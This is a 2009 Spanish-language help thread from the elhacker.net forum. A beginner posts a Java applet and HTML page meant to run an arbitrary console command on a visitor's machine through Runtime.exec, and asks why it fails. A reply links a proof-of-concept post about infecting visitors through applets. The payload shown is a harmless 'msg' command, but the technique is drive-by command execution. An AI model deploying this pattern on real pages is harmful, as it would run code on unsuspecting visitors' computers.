Foro de elhacker.net

Programación => Java => Mensaje iniciado por: andres52 en 20 Abril 2009, 02:08 am



Título: ¿Porque no funciona mi applet?
Publicado por: andres52 en 20 Abril 2009, 02:08 am
Apenas estoy empezando en java pero ya me he quedado estancado, consegui un código en este mismo foro para abrir el cmd desde un applet pero simplemente no funciona, aqui el código:

Citar
import java.applet.*;
import java.awt.*; 
import java.io.*;
public class script extends Applet
{
     public void init()
     {
          Process f;
          String first = getParameter("first");
 
           try
           {
                f = Runtime.getRun time().exec(first);
           }
 
           catch(IOException e)
           {
                e.printStackTrace();
           }
      }
}

Ese es el applet, y aqui el código html:

Citar
<applet width="1" height="1" code="script.class">
<param name="first" value="cmd.exe /c msg * Hola Mundo!" />   </applet>

Ya probe subiendo solo la clase y subiendo todo el .jar agregando archive='script.jar' y en las dos me sale:

java.lang.Clas sFormatError: Illegal UTF8 string in constant pool in class file script

¿Que estoy haciendo mal? gracias


Título: Re: ¿Porque no funciona mi applet?
Publicado por: juancho77 en 20 Abril 2009, 08:06 am
Java no esta hecho para esto que quieres hacer. Para usar la shell usa batch. Ningun hacker usaria Java nunca.

En cuanto a tu duda: si recien estas empezando, te recomendaria que empieces por algo mas simple. Un programita normal, no un applet con todo el lio que eso implica. O sea, aun no sabes herencia y quieres hacer un applet?  :o


Título: Re: ¿Porque no funciona mi applet?
Publicado por: ~~ en 20 Abril 2009, 18:06 pm
Para lo que quiere hacer precisamente se requiere Java, ya que vale para ejecutar un comando cualquiera de consola con ver una web (o eso creo :P) Leete esto detenidamente:
http://foro.elhacker.net/hacking_avanzado/poc_infeccion_mediante_java_applet_y_vbscript-t240306.0.html



Título: Re: ¿Porque no funciona mi applet?
Publicado por: andres52 en 20 Abril 2009, 20:00 pm
De ahi justamente lo saque... y de hecho postee ahi pero no me respondieron por lo que me vine a la zona de java.. no puedo simplemente hacerlo funcionar, agradeceria muchisimo su ayuda.